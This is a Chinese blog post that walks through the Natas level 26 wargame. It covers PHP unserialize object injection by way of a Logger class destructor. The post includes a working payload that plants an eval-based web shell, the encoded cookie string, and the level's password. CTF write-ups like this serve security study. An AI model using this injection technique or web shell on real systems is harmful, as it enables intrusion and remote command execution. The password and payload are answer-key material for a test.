170821 WarGames-Natas(26)
来源:互联网 发布:java和c 的相似程度 编辑:程序博客网 时间:2024/05/31 19:43
1625-5 王子昂 总结《2017年8月21日》 【连续第323天总结】
A. Natas26
B.
这次PHP脚本冗长,读下来也没看到什么漏洞
最后了解到unserialize()反序列化函数存在对象注入漏洞
正常的脚本中,serialize序列化函数可以将一个PHP对象转化成字符串,然后再通过unserialize反序列化函数将其还原,这样可以方便地编码对象来传递
但是这里存在漏洞,用户如果可以对unserialize的参数进行更改的话意味着可以任意向后端代码中注入一个任意对象
PHP官方文档中也提醒不要将用户生成的内容传给unserialize
在本次中,有一个类可以利用:
class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ // write exit message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } }
虽然脚本中没有调用Logger的函数,但是它存在__destruct析构函数,可以达到向任意位置写任意文件的目的
这样只需要构造一个对象,使其logFile为已知路径,exitMsg为恶意木马的代码,然后将其序列化,通过cookies的drawing项注入即可
payload:
<?phpclass Logger{ private $logFile; private $initMsg; private $exitMsg; function b(){ $this->initMsg=""; $this->exitMsg="<?php eval(\$_GET['command']);?>"; $this->logFile="img/p.php"; }}$a = new Logger();$a->b();echo serialize($a);echo "\n";echo base64_encode(serialize($a));?>
生成字符串:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo5OiJpbWcvcC5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czozMToiPD9waHAgZXZhbCgkX0dFVFsnY29tbWFuZCddKTs/PiI7fQ==
这样可以传入一句话木马,然后通过include或者passthru函数都可以读出密码文件了
pw:
55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
注意,由于权限问题,logFile的位置实际上是有限定的,刚开始我试了根目录和/tmp都不行,最后在网页上发现”img/xxx”的目录有权限可写,才写入成功
https://c.runoob.com/compile/这个网站生成的字符串注入会报错,第一百多byte错误,跟另外一个网站生成的字符串对比发现’+’改成’/’就行了
C. 明日计划
NATAS
- 170821 WarGames-Natas(26)
- WarGames-Natas(16)
- 170817 WarGames-Natas(15)
- 170816 WarGames-Natas(0-14)
- 170819 WarGames-Natas(17-20)
- 170820 WarGames-Natas(21-25)
- 170822 WarGames-Natas(27-28)
- WarGames-leviathan(0-7)
- 170823 WarGames-Narnia(0)
- 170828 WarGames-Narnia(3)
- 170829 WarGames-Narnia(4)
- 170830 WarGames-Narnia(5)
- 170831 WarGames-Narnia(6)
- 170901 WarGames-Narnia(7)
- 170902 WarGames-Narnia(8)
- 170903 WarGames-Behemoth(0)
- 170903 WarGames-Behemoth(1)
- 170904 WarGames-Behemoth(2)
- jquery选择器
- element-UI表格中拿到每一行的index----scope
- Spring:bean的使用
- iOS-APP 签名原理
- 欢迎使用CSDN-markdown编辑器
- 170821 WarGames-Natas(26)
- 查找树ADT--二叉查找树
- 工控行业的光电传感器特点
- KMP算法(浅显易懂)
- JAVA开发的23种设计模式之 — 迭代器模式
- Java中的set去重复(基础类型,与对象)转载自http://blog.csdn.net/miqi770/article/details/8998517
- 命令行基础
- git
- 关于手动关闭数据库连接和连接池关系的一点小困惑